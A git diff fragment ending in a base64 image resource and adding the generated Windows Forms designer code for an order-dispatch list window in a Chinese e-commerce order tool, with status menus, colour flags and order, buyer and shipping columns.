zMzMzMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAAAAAAAABmzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzGYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARGZmzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMZmZEAAAAAAAAAAAAAAAAD////+AAAAAAAAAAD/////////AAAA + AAAAAAAAAP//////+AAAAAAAAAAAAAAf/////+AAAAAAAAAAAAAAB/////+AAAAAAAAAAAAAAAH////+ + AAAAAAAAAAAAAAAAf////AAAAAAAAAAAAAAAAD////AAAAAAAAAAAAAAAAAP///gAAAAAAAAAAAAAAAA + B///wAAAAAAAAAAAAAAAAAP//4AAAAAAAAAAAAAAAAAB//8AAAAAAAAAAAAAAAAAAP/+AAAAAAAAAAAA + AAAAAAB//gAAAAAAAAAAAAAAAAAAf/wAAAAAAAAAAAAAAAAAAD/4AAAAAAAAAAAAAAAAAAAf+AAAAAAA + AAAAAAAAAAAAH/AAAAAAAAAAAAAAAAAAAA/wAAAAAAAAAAAAAAAAAAAP4AAAAAAAAAAAAAAAAAAAB+AA + AAAAAAAAAAAAAAAAAAfAAAAAAAAAAAAAAAAAAAADwAAAAAAAAAAAAAAAAAAAA8AAAAAAAAAAAAAAAAAA + AAOAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAAAA + AAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAAAAAAAAAAABAAAAAAAA + AAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAA + AAGAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAAAA + AAAAAAABgAAAAAAAAAAAAAAAAAAAAcAAAAAAAAAAAAAAAAAAAAPAAAAAAAAAAAAAAAAAAAADwAAAAAAA + AAAAAAAAAAAAA+AAAAAAAAAAAAAAAAAAAAfgAAAAAAAAAAAAAAAAAAAH8AAAAAAAAAAAAAAAAAAAD/AA + AAAAAAAAAAAAAAAAAA/4AAAAAAAAAAAAAAAAAAAf+AAAAAAAAAAAAAAAAAAAH/wAAAAAAAAAAAAAAAAA + AD/+AAAAAAAAAAAAAAAAAAB//gAAAAAAAAAAAAAAAAAAf/8AAAAAAAAAAAAAAAAAAP//gAAAAAAAAAAA + AAAAAAH//8AAAAAAAAAAAAAAAAAD///gAAAAAAAAAAAAAAAAB///8AAAAAAAAAAAAAAAAA////wAAAAA + AAAAAAAAAAA////+AAAAAAAAAAAAAAAAf////4AAAAAAAAAAAAAAAf/////gAAAAAAAAAAAAAAf///// + +AAAAAAAAAAAAAAf//////8AAAAAAAAAAAAA/////////gAAAAAAAAAAf////w== + + + \ No newline at end of file diff --git a/29WxOrder/OrderForms/SendOrderListForms.Designer.cs b/29WxOrder/OrderForms/SendOrderListForms.Designer.cs new file mode 100644 index 0000000..3519c11 --- /dev/null +++ b/29WxOrder/OrderForms/SendOrderListForms.Designer.cs @@ -0,0 +1,563 @@ + +namespace _29WxOrder.OrderForms +{ + partial class SendOrderListForms + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.components = new System.ComponentModel.Container(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle1 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle2 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle3 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle4 = new System.Windows.Forms.DataGridViewCellStyle(); + this.contextMenuStrip1 = new System.Windows.Forms.ContextMenuStrip(this.components); + this.编辑ToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.待发货ToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.等待上家发货ToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.发货成功ToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.发货完成ToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.发货直接发货ToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.更新订单ToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.订单插旗ToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.灰色ToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.紫色ToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.蓝色ToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.绿色ToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.橙色ToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.红色ToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.toolTip1 = new System.Windows.Forms.ToolTip(this.components); + this.DgvSendOrderList = new _29WxOrder.MyControl.MyDataGridView(); + this.col_shop_id = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.col_shop_name = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.col_title = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.col_up_product_id = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.col_product_id = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.col_c_biz_desc = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.productSku = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.productImgSku = new System.Windows.Forms.DataGridViewImageColumn(); + this.productSellingPrice = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.col_buy_price = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.commission_scale = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.commission = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.profit = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.productCount = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.col_order_id = new System.Windows.Forms.DataGridViewLinkColumn(); + this.col_name = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.col_mobile = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.col_address = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.col_create_time = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.col_order_promise_time = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.col_order_send_remaining_time = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.buyOrderTime = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.buyOrderNum = new System.Windows.Forms.DataGridViewLinkColumn(); + this.buyOrderUser = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.expressName = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.expressNo = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.col_remark = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.sendOrderErrorMsg = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.pnlUpdateOrderInfo = new DevComponents.DotNetBar.PanelEx(); + this.contextMenuStrip1.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.DgvSendOrderList)).BeginInit(); + this.SuspendLayout(); + // + // contextMenuStrip1 + // + this.contextMenuStrip1.BackColor = System.Drawing.Color.White; + this.contextMenuStrip1.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.编辑ToolStripMenuItem, + this.待发货ToolStripMenuItem, + this.发货直接发货ToolStripMenuItem, + this.更新订单ToolStripMenuItem, + this.订单插旗ToolStripMenuItem}); + this.contextMenuStrip1.Name = "contextMenuStrip1"; + this.contextMenuStrip1.Size = new System.Drawing.Size(157, 114); + // + // 编辑ToolStripMenuItem + // + this.编辑ToolStripMenuItem.Name = "编辑ToolStripMenuItem"; + this.编辑ToolStripMenuItem.Size = new System.Drawing.Size(156, 22); + this.编辑ToolStripMenuItem.Text = "编辑"; + this.编辑ToolStripMenuItem.Click += new System.EventHandler(this.MenuItem_Click); + // + // 待发货ToolStripMenuItem + // + this.待发货ToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.等待上家发货ToolStripMenuItem, + this.发货成功ToolStripMenuItem, + this.发货完成ToolStripMenuItem}); + this.待发货ToolStripMenuItem.Name = "待发货ToolStripMenuItem"; + this.待发货ToolStripMenuItem.Size = new System.Drawing.Size(156, 22); + this.待发货ToolStripMenuItem.Text = "修改状态"; + // + // 等待上家发货ToolStripMenuItem + // + this.等待上家发货ToolStripMenuItem.Name = "等待上家发货ToolStripMenuItem"; + this.等待上家发货ToolStripMenuItem.Size = new System.Drawing.Size(136, 22); + this.等待上家发货ToolStripMenuItem.Text = "待拍单"; + this.等待上家发货ToolStripMenuItem.Click += new System.EventHandler(this.MenuItem_Click); + // + // 发货成功ToolStripMenuItem + // + this.发货成功ToolStripMenuItem.Name = "发货成功ToolStripMenuItem"; + this.发货成功ToolStripMenuItem.Size = new System.Drawing.Size(136, 22); + this.发货成功ToolStripMenuItem.Text = "上家已发货"; + this.发货成功ToolStripMenuItem.Visible = false; + this.发货成功ToolStripMenuItem.Click += new System.EventHandler(this.MenuItem_Click); + // + // 发货完成ToolStripMenuItem + // + this.发货完成ToolStripMenuItem.Name = "发货完成ToolStripMenuItem"; + this.发货完成ToolStripMenuItem.Size = new System.Drawing.Size(136, 22); + this.发货完成ToolStripMenuItem.Text = "发货完成"; + this.发货完成ToolStripMenuItem.Click += new System.EventHandler(this.MenuItem_Click); + // + // 发货直接发货ToolStripMenuItem + // + this.发货直接发货ToolStripMenuItem.Name = "发货直接发货ToolStripMenuItem"; + this.发货直接发货ToolStripMenuItem.Size = new System.Drawing.Size(156, 22); + this.发货直接发货ToolStripMenuItem.Text = "发货(直接发货)"; + this.发货直接发货ToolStripMenuItem.Click += new System.EventHandler(this.MenuItem_Click); + // + // 更新订单ToolStripMenuItem + // + this.更新订单ToolStripMenuItem.Name = "更新订单ToolStripMenuItem"; + this.更新订单ToolStripMenuItem.Size = new System.Drawing.Size(156, 22); + this.更新订单ToolStripMenuItem.Text = "更新订单"; + this.更新订单ToolStripMenuItem.Click += new System.EventHandler(this.MenuItem_Click); + // + // 订单插旗ToolStripMenuItem + // + this.订单插旗ToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.灰色ToolStripMenuItem, + this.紫色ToolStripMenuItem, + this.蓝色ToolStripMenuItem, + this.绿色ToolStripMenuItem, + this.橙色ToolStripMenuItem, + this.红色ToolStripMenuItem}); + this.订单插旗ToolStripMenuItem.Name = "订单插旗ToolStripMenuItem"; + this.订单插旗ToolStripMenuItem.Size = new System.Drawing.Size(156, 22); + this.订单插旗ToolStripMenuItem.Text = "订单插旗"; + // + // 灰色ToolStripMenuItem + // + this.灰色ToolStripMenuItem.Name = "灰色ToolStripMenuItem"; + this.灰色ToolStripMenuItem.Size = new System.Drawing.Size(100, 22); + this.灰色ToolStripMenuItem.Text = "灰色"; + this.灰色ToolStripMenuItem.Click += new System.EventHandler(this.colore_clicke); + // + // 紫色ToolStripMenuItem + // + this.紫色ToolStripMenuItem.Name = "紫色ToolStripMenuItem"; + this.紫色ToolStripMenuItem.Size = new System.Drawing.Size(100, 22); + this.紫色ToolStripMenuItem.Text = "紫色"; + this.紫色ToolStripMenuItem.Click += new System.EventHandler(this.colore_clicke); + // + // 蓝色ToolStripMenuItem + // + this.蓝色ToolStripMenuItem.Name = "蓝色ToolStripMenuItem"; + this.蓝色ToolStripMenuItem.Size = new System.Drawing.Size(100, 22); + this.蓝色ToolStripMenuItem.Text = "蓝色"; + this.蓝色ToolStripMenuItem.Click += new System.EventHandler(this.colore_clicke); + // + // 绿色ToolStripMenuItem + // + this.绿色ToolStripMenuItem.Name = "绿色ToolStripMenuItem"; + this.绿色ToolStripMenuItem.Size = new System.Drawing.Size(100, 22); + this.绿色ToolStripMenuItem.Text = "绿色"; + this.绿色ToolStripMenuItem.Click += new System.EventHandler(this.colore_clicke); + // + // 橙色ToolStripMenuItem + // + this.橙色ToolStripMenuItem.Name = "橙色ToolStripMenuItem"; + this.橙色ToolStripMenuItem.Size = new System.Drawing.Size(100, 22); + this.橙色ToolStripMenuItem.Text = "橙色"; + this.橙色ToolStripMenuItem.Click += new System.EventHandler(this.colore_clicke); + // + // 红色ToolStripMenuItem + // + this.红色ToolStripMenuItem.Name = "红色ToolStripMenuItem"; + this.红色ToolStripMenuItem.Size = new System.Drawing.Size(100, 22); + this.红色ToolStripMenuItem.Text = "红色"; + this.红色ToolStripMenuItem.Click += new System.EventHandler(this.colore_clicke); + // + // DgvSendOrderList + // + this.DgvSendOrderList.AllowUserToAddRows = false; + dataGridViewCellStyle1.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(244)))), ((int)(((byte)(244)))), ((int)(((byte)(244))))); + this.DgvSendOrderList.AlternatingRowsDefaultCellStyle = dataGridViewCellStyle1; + this.DgvSendOrderList.BackgroundColor = System.Drawing.Color.White; + this.DgvSendOrderList.BorderStyle = System.Windows.Forms.BorderStyle.None; + dataGridViewCellStyle2.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; + dataGridViewCellStyle2.BackColor = System.Drawing.Color.White; + dataGridViewCellStyle2.Font = new System.Drawing.Font("宋体", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + dataGridViewCellStyle2.ForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle2.SelectionBackColor = System.Drawing.Color.White; + dataGridViewCellStyle2.SelectionForeColor = System.Drawing.SystemColors.ControlText; + dataGridViewCellStyle2.WrapMode = System.Windows.Forms.DataGridViewTriState.False; + this.DgvSendOrderList.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle2; + this.DgvSendOrderList.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; + this.DgvSendOrderList.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.col_shop_id, + this.col_shop_name, + this.col_title, + this.col_up_product_id, + this.col_product_id, + this.col_c_biz_desc, + this.productSku, + this.productImgSku, + this.productSellingPrice, + this.col_buy_price, + this.commission_scale, + this.commission, + this.profit, + this.productCount, + this.col_order_id, + this.col_name, + this.col_mobile, + this.col_address, + this.col_create_time, + this.col_order_promise_time, + this.col_order_send_remaining_time, + this.buyOrderTime, + this.buyOrderNum, + this.buyOrderUser, + this.expressName, + this.expressNo, + this.col_remark, + this.sendOrderErrorMsg}); + this.DgvSendOrderList.ContextMenuStrip = this.contextMenuStrip1; + dataGridViewCellStyle3.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; + dataGridViewCellStyle3.BackColor = System.Drawing.Color.White; + dataGridViewCellStyle3.Font = new System.Drawing.Font("宋体", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + dataGridViewCellStyle3.ForeColor = System.Drawing.SystemColors.ControlText; + dataGridViewCellStyle3.SelectionBackColor = System.Drawing.Color.White; + dataGridViewCellStyle3.SelectionForeColor = System.Drawing.SystemColors.ControlText; + dataGridViewCellStyle3.WrapMode = System.Windows.Forms.DataGridViewTriState.False; + this.DgvSendOrderList.DefaultCellStyle = dataGridViewCellStyle3; + this.DgvSendOrderList.Dock = System.Windows.Forms.DockStyle.Fill; + this.DgvSendOrderList.GridColor = System.Drawing.Color.FromArgb(((int)(((byte)(208)))), ((int)(((byte)(215)))), ((int)(((byte)(229))))); + this.DgvSendOrderList.IsCustomSort = false; + this.DgvSendOrderList.Location = new System.Drawing.Point(0, 0); + this.DgvSendOrderList.Name = "DgvSendOrderList"; + this.DgvSendOrderList.ReadOnly = true; + dataGridViewCellStyle4.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; + dataGridViewCellStyle4.BackColor = System.Drawing.Color.White; + dataGridViewCellStyle4.Font = new System.Drawing.Font("宋体", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + dataGridViewCellStyle4.ForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle4.SelectionBackColor = System.Drawing.Color.White; + dataGridViewCellStyle4.SelectionForeColor = System.Drawing.Color.Black; + dataGridViewCellStyle4.WrapMode = System.Windows.Forms.DataGridViewTriState.True; + this.DgvSendOrderList.RowHeadersDefaultCellStyle = dataGridViewCellStyle4; + this.DgvSendOrderList.RowTemplate.Height = 23; + this.DgvSendOrderList.ShowCellToolTips = false; + this.DgvSendOrderList.Size = new System.Drawing.Size(800, 450); + this.DgvSendOrderList.TabIndex = 1; + this.DgvSendOrderList.CellContentClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.sendOrderListDgv_CellContentClick); + this.DgvSendOrderList.CellMouseDown += new System.Windows.Forms.DataGridViewCellMouseEventHandler(this.sendOrderListDgv_CellMouseDown); + this.DgvSendOrderList.CellMouseEnter += new System.Windows.Forms.DataGridViewCellEventHandler(this.sendOrderListDgv_CellMouseEnter); + this.DgvSendOrderList.CellMouseLeave += new System.Windows.Forms.DataGridViewCellEventHandler(this.sendOrderListDgv_CellMouseLeave); + // + // col_shop_id + // + this.col_shop_id.HeaderText = "店铺编号"; + this.col_shop_id.Name = "col_shop_id"; + this.col_shop_id.ReadOnly = true; + this.col_shop_id.Width = 80; + // + // col_shop_name + // + this.col_shop_name.HeaderText = "店铺名称"; + this.col_shop_name.Name = "col_shop_name"; + this.col_shop_name.ReadOnly = true; + // + // col_title + // + this.col_title.HeaderText = "商品名称"; + this.col_title.Name = "col_title"; + this.col_title.ReadOnly = true; + // + // col_up_product_id + // + this.col_up_product_id.HeaderText = "上家ID"; + this.col_up_product_id.Name = "col_up_product_id"; + this.col_up_product_id.ReadOnly = true; + // + // col_product_id + // + this.col_product_id.HeaderText = "本店ID"; + this.col_product_id.Name = "col_product_id"; + this.col_product_id.ReadOnly = true; + this.col_product_id.Width = 120; + // + // col_c_biz_desc + // + this.col_c_biz_desc.HeaderText = "商品描述"; + this.col_c_biz_desc.Name = "col_c_biz_desc"; + this.col_c_biz_desc.ReadOnly = true; + this.col_c_biz_desc.Width = 80; + // + // productSku + // + this.productSku.HeaderText = "规格"; + this.productSku.Name = "productSku"; + this.productSku.ReadOnly = true; + // + // productImgSku + // + this.productImgSku.HeaderText = "图片"; + this.productImgSku.Name = "productImgSku"; + this.productImgSku.ReadOnly = true; + this.productImgSku.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.Automatic; + this.productImgSku.Width = 80; + // + // productSellingPrice + // + this.productSellingPrice.HeaderText = "售价"; + this.productSellingPrice.Name = "productSellingPrice"; + this.productSellingPrice.ReadOnly = true; + this.productSellingPrice.Width = 60; + // + // col_buy_price + // + this.col_buy_price.HeaderText = "进价"; + this.col_buy_price.Name = "col_buy_price"; + this.col_buy_price.ReadOnly = true; + this.col_buy_price.Width = 60; + // + // commission_scale + // + this.commission_scale.HeaderText = "佣金率"; + this.commission_scale.Name = "commission_scale"; + this.commission_scale.ReadOnly = true; + this.commission_scale.Width = 60; + // + // commission + // + this.commission.HeaderText = "佣金"; + this.commission.Name = "commission"; + this.commission.ReadOnly = true; + this.commission.Width = 60; + // + // profit + // + this.profit.HeaderText = "利润"; + this.profit.Name = "profit"; + this.profit.ReadOnly = true; + this.profit.Width = 60; + // + // productCount + // + this.productCount.HeaderText = "数量"; + this.productCount.Name = "productCount"; + this.productCount.ReadOnly = true; + this.productCount.Width = 40; + // + // col_order_id + // + this.col_order_id.HeaderText = "订单号"; + this.col_order_id.Name = "col_order_id"; + this.col_order_id.ReadOnly = true; + this.col_order_id.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.col_order_id.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.Automatic; + this.col_order_id.Width = 130; + // + // col_name + // + this.col_name.HeaderText = "姓名"; + this.col_name.Name = "col_name"; + this.col_name.ReadOnly = true; + // + // col_mobile + // + this.col_mobile.HeaderText = "电话"; + this.col_mobile.Name = "col_mobile"; + this.col_mobile.ReadOnly = true; + // + // col_address + // + this.col_address.HeaderText = "地址"; + this.col_address.Name = "col_address"; + this.col_address.ReadOnly = true; + // + // col_create_time + // + this.col_create_time.HeaderText = "订单确认时间"; + this.col_create_time.Name = "col_create_time"; + this.col_create_time.ReadOnly = true; + this.col_create_time.Width = 120; + // + // col_order_promise_time + // + this.col_order_promise_time.HeaderText = "延迟发货时间"; + this.col_order_promise_time.Name = "col_order_promise_time"; + this.col_order_promise_time.ReadOnly = true; + this.col_order_promise_time.Width = 120; + // + // col_order_send_remaining_time + // + this.col_order_send_remaining_time.HeaderText = "延迟剩余"; + this.col_order_send_remaining_time.Name = "col_order_send_remaining_time"; + this.col_order_send_remaining_time.ReadOnly = true; + // + // buyOrderTime + // + this.buyOrderTime.HeaderText = "拍单时间"; + this.buyOrderTime.Name = "buyOrderTime"; + this.buyOrderTime.ReadOnly = true; + this.buyOrderTime.Width = 120; + // + // buyOrderNum + // + this.buyOrderNum.HeaderText = "拍单订单号"; + this.buyOrderNum.Name = "buyOrderNum"; + this.buyOrderNum.ReadOnly = true; + this.buyOrderNum.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.buyOrderNum.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.Automatic; + this.buyOrderNum.Width = 150; + // + // buyOrderUser + // + this.buyOrderUser.HeaderText = "买手号"; + this.buyOrderUser.Name = "buyOrderUser"; + this.buyOrderUser.ReadOnly = true; + // + // expressName + // + this.expressName.HeaderText = "物流公司"; + this.expressName.Name = "expressName"; + this.expressName.ReadOnly = true; + // + // expressNo + // + this.expressNo.HeaderText = "物流单号"; + this.expressNo.Name = "expressNo"; + this.expressNo.ReadOnly = true; + // + // col_remark + // + this.col_remark.HeaderText = "备注"; + this.col_remark.Name = "col_remark"; + this.col_remark.ReadOnly = true; + // + // sendOrderErrorMsg + // + this.sendOrderErrorMsg.HeaderText = "发货异常"; + this.sendOrderErrorMsg.Name = "sendOrderErrorMsg"; + this.sendOrderErrorMsg.ReadOnly = true; + this.sendOrderErrorMsg.Width = 200; + // + // pnlUpdateOrderInfo + // + this.pnlUpdateOrderInfo.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.pnlUpdateOrderInfo.CanvasColor = System.Drawing.SystemColors.Control; + this.pnlUpdateOrderInfo.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.pnlUpdateOrderInfo.DisabledBackColor = System.Drawing.Color.Empty; + this.pnlUpdateOrderInfo.Location = new System.Drawing.Point(346, 175); + this.pnlUpdateOrderInfo.MaximumSize = new System.Drawing.Size(300, 140); + this.pnlUpdateOrderInfo.Name = "pnlUpdateOrderInfo"; + this.pnlUpdateOrderInfo.Size = new System.Drawing.Size(110, 100); + this.pnlUpdateOrderInfo.Style.Alignment = System.Drawing.StringAlignment.Center; + this.pnlUpdateOrderInfo.Style.BackColor1.Alpha = ((byte)(128)); + this.pnlUpdateOrderInfo.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(160)))), ((int)(((byte)(233))))); + this.pnlUpdateOrderInfo.Style.BackColor2.Alpha = ((byte)(128)); + this.pnlUpdateOrderInfo.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(160)))), ((int)(((byte)(233))))); + this.pnlUpdateOrderInfo.Style.BorderColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBorder; + this.pnlUpdateOrderInfo.Style.CornerType = DevComponents.DotNetBar.eCornerType.Rounded; + this.pnlUpdateOrderInfo.Style.ForeColor.Color = System.Drawing.Color.White; + this.pnlUpdateOrderInfo.Style.GradientAngle = 90; + this.pnlUpdateOrderInfo.TabIndex = 2; + this.pnlUpdateOrderInfo.Text = "正在更新订单"; + this.pnlUpdateOrderInfo.Visible = false; + // + // SendOrderListForms + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 12F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(800, 450); + this.Controls.Add(this.pnlUpdateOrderInfo); + this.Controls.Add(this.DgvSendOrderList); + this.Name = "SendOrderListForms"; + this.Text = "SendProductForms"; + this.Load += new System.EventHandler(this.SendOrderForms_Load); + this.contextMenuStrip1.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.DgvSendOrderList)).EndInit(); + this.ResumeLayout(false); + + } + + #endregion + + private MyControl.MyDataGridView DgvSendOrderList; + private System.Windows.Forms.ContextMenuStrip contextMenuStrip1; + private System.Windows.Forms.ToolStripMenuItem 编辑ToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem 待发货ToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem 等待上家发货ToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem 发货成功ToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem 发货完成ToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem 发货直接发货ToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem 更新订单ToolStripMenuItem; + private System.Windows.Forms.ToolTip toolTip1; + private System.Windows.Forms.ToolStripMenuItem 订单插旗ToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem 灰色ToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem 紫色ToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem 蓝色ToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem 绿色ToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem 橙色ToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem 红色ToolStripMenuItem; + private System.Windows.Forms.DataGridViewTextBoxColumn col_shop_id; + private System.Windows.Forms.DataGridViewTextBoxColumn col_shop_name; + private System.Windows.Forms.DataGridViewTextBoxColumn col_title; + private System.Windows.Forms.DataGridViewTextBoxColumn col_up_product_id; + private 